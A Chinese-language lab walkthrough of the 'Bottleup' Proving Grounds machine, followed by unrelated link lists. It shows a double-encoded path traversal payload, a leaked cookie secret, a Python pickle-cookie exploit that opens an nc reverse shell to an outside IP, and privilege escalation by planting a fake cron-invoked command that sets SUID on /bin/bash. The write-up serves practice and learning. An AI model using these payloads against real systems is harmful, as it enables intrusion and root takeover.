一开始看到page=view/.html的时候就想到目录穿越了尝试../../../../../../../../../../../etc/passwd 发现不行

找半天其他可能存在漏洞的地方又找不到

卡壳了

看了看hints 他告诉我存在二次编码绕过

这点确实没想到

可以进行两次url编码再访问/proc/self/cmdline 看看该程序的路径是啥

然后

读取python代码

page=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fopt%252fbottle-blog%252fapp.py

读取到python源码
from bottle import route, run, static_file, template, request, response, error
from config.secret import secret
import os
import urllib
import re @route("/") def home():
session = request.get_cookie('name', secret=secret)
if (not session):
session = {"name": "guest"}
response.set_cookie('name', session, secret=secret)
return template('index', name=session['name']) @ route('/static/js/<filename>') def server_static(filename):
return static_file(filename, root=os.getcwd() + '/views/js/') @ route('/static/css/<filename>') def server_static(filename):
return static_file(filename, root=os.getcwd() + '/views/css/') @ route("/view", methods=['GET']) def home():
try: # Avoiding URL Encoding # Fix added after the report from our security team # Added by Developer bob
page = urllib.parse.unquote(request.query_string.split("=")[1])
except:
page = ""
if page == "": return template("error.html", error="Error! Page Parameter empty!")
# Avoiding leaking code source or config
elif page.startswith("app.py") or page.startswith("config"):
return template("error.html", error="You can't view this page!")
# Avoiding directory traversal if ('../' not in page) and ('./' not in page): # Inforcing URL Encoding # Added by Intern Max
page = urllib.parse.unquote(page)
p = "404"
if os.path.isfile(os.getcwd() + '/' + page):
with open(os.getcwd() + '/' + page, "r") as f:
p = f.read()
else:
return template("error.html", error="Page not found!") return template("blog.html", read=p) @ error(404) def error404(error):
return template('error.html', error='404 not found') if __name__ == '__main__': run(host='0.0.0.0', port=8080)

发现有个secret 读取secret

/view?page=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fopt%252fbottle-blog%252fconfig%252fsecret.py

改写代码让我们的cookie变成admin



但是问题又出现了估计是版本的问题我本地生成的cookie和wp生成的cookie是不一样的

这就造成了我实现不了admin的伪造 无奈只能copy wp的cookie了

然后又不知道咋整了

看wp

发现是存在bottle的漏洞 (太难了)

exp生成
import base64
import hashlib
import pickle
import hmac
import os def tob(s):
return s.encode('utf-8') secret = "546546DSQ7711DSQDSQXWZ" code = """
import os os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.250 80 >/tmp/f')
""" class RCE:
def __reduce__(self):
return exec, (code,) data = RCE() msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())
print(tob('!') + sig + tob('?') + msg)

将生成的cookie 写入就能反弹shell了 这块原理回头还得研究一下

弹回来shell了

查看pspy看定时任务发现

linpeas 发现我们具有可读可写的权限对于 这两个服务

查看该服务 发现原来定时任务是在这里开启的 60秒执行一次

运行文件我们会发现很有意思的东西



他会说这个命令不存在mpstats

这就以为这我们可以伪造命令了

cd ~;echo "chmod +s /bin/bash" > mpstats

等待定时任务执行

提权成功

只能说这次的靶机涉及的点都没想到学到了很多

Bottleup pg walkthrough Intermediate的更多相关文章

  1. 简析服务端通过GT导入SHP至PG的方法

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...

  2. Bootstap datetimepicker报错TypeError: intermediate value

    Bootstrap datetimepicker有多个版本,官方的链接中,只是datepicker,没有时间的选择,原版的datetimepicker也不再更新,不能用新版的jquery.现在http ...

  3. PG 中 JSON 字段的应用

    13 年发现 pg 有了 json 类型,便从 oracle 转 pg,几年下来也算比较熟稔了,总结几个有益的实践. 用途一:存储设计时无法预料的文档性的数据.比如,通常可以在人员表准备一个 json ...

  4. pg gem 安装(postgresql94)

    使用下面命令安装报错 gem install pg 错误: [root@AS-test middle_database]# gem install pgBuilding native extensio ...

  5. #pg学习#postgresql的安装

    1.按照官网给的步骤编译安装(Mac安装是比较容易的,相比Liunx) cd /Users/renlipeng/Desktop/postgresql-9.5.1 ./configure --prefi ...

  6. PG 函数的易变性(Function Volatility Categories)

    此概念的接触是在做分区表的时候碰到的,分区表按时间字段分区,在查询时当where条件中时间为now()或者current_time()等时是无法查询的,即使进行格式转换也不行,只有是时间格式如‘201 ...

  7. c++错误——intermediate.manifest : general error c1010070很傻的错

    .\Debug\sadf.exe.intermediate.manifest : general error c1010070: Failed to load and parse the manife ...

  8. mysql 序列与pg序列的比较

    mysql序列(这里只谈innodb引擎): 在使用mysql的AUTO_INCREMENT时,使用AUTO_INCREMENT的字段必须建有索引,也可以为索引的一部分.当没有索引时会报错:      ...

  9. 使用zfs进行pg的pitr恢复测试

    前段时间做了一下zfs做pg的增量恢复测试,mark一下. 服务器信息: 主机:192.168.173.43 备机:192.168.173.41 主备使用流复制搭建,在备机上面进行了zfs快照备份. ...

  10. PG CREATEINDEX CONCURRENTLY

    PG CREATEINDEX CONCURRENTLY [TOC] 官方说法 根据9.1的文档 Creating an index can interfere with regular operati ...

随机推荐

  1. 7. jenkins的代码审查

    sonar基本使用 1,sonar安装和配置 SonarQube是一个用于管理代码质量的开放平台,可以快速的定位代码中潜在的或者明显的错误.目前 支持java,C#,C/C++,Python,PL/S ...

  2. php使用汉字作为进制转换

    突然想到英文字符26个,大小写共52个,数字10个,加起来也不过62,再算上特殊字符,也就90个,可以看这篇文章 那可不可以扩大这个进制呢?我想到了汉字. 中文汉字,博大精深,我们就用常用汉字2500 ...

  3. 鸿蒙ArkUI-X已更新适配API13啦

    ArkUI-X 5.0.1 Release版配套OpenHarmony 5.0.1 Rlease,API 13,新增适配部分API 13接口支持跨平台:框架能力进一步完善,支持Android应用非压缩 ...

  4. 盘点一下在swagger中一些有用且经常忽略的属性

    震惊!,这些Swagger的属性你都了解吗? 盘点一下在swagger中一些有用且经常忽略的属性 启用永久授权EnablePersistAuthorization app.UseSwaggerUI(c ...

  5. shp转featureclass

    public void ConvertShapefileToFeatureClass() { // Create a name object for the source (shapefile) wo ...

  6. DA14531芯片固件逆向系列(1)-固件加载和逆向分析

    首发于先知论坛 https://xz.aliyun.com/t/9185 前言 本文介绍逆向DA14531芯片的固件,并介绍一些辅助自动化分析的脚本的实现.DA14531是Dialog公司研制的蓝牙芯 ...

  7. MongoDB|TOMCAT定时切割日志文件的脚本

    MongoDB用过一段时间后,日志较大,需要定时进行日志切割. 一.切割bash: splitlogmongo.sh #!/bin/bash log_dir="/home/mongodb/l ...

  8. 使用腾讯云对象存储 COS 作为 Velero 后端存储,实现集群资源备份和还原

    Velero(以前称为 Heptio Ark)是一个开源工具,可以安全地备份和还原,执行灾难恢复以及迁移 Kubernetes 集群资源和持久卷,可以在 TKE 集群或自建 Kubenetes 集群中 ...

  9. 【金TECH频道】汇聚多元化超级算力,看见更好的“源启”

    越来越多的金融机构开始利用大数据和AI技术,提升信贷业务的效率,利用隐私计算打造开放式金融,让客户随时随地获得金融服务:气象领域,高精度计算让我们能准确地预测恶劣的天气,医疗大数据让部分癌症的治愈成为 ...

  10. 证书签名算法OID.1.2.156.10197.1.501

    证书签名算法OID.1.2.156.10197.1.501   证书签名算法OID为1.2.156.10197.1.501表示该证书使用的是基于SM3的SM2签名算法 1.SM2证书数据和RSA算法证 ...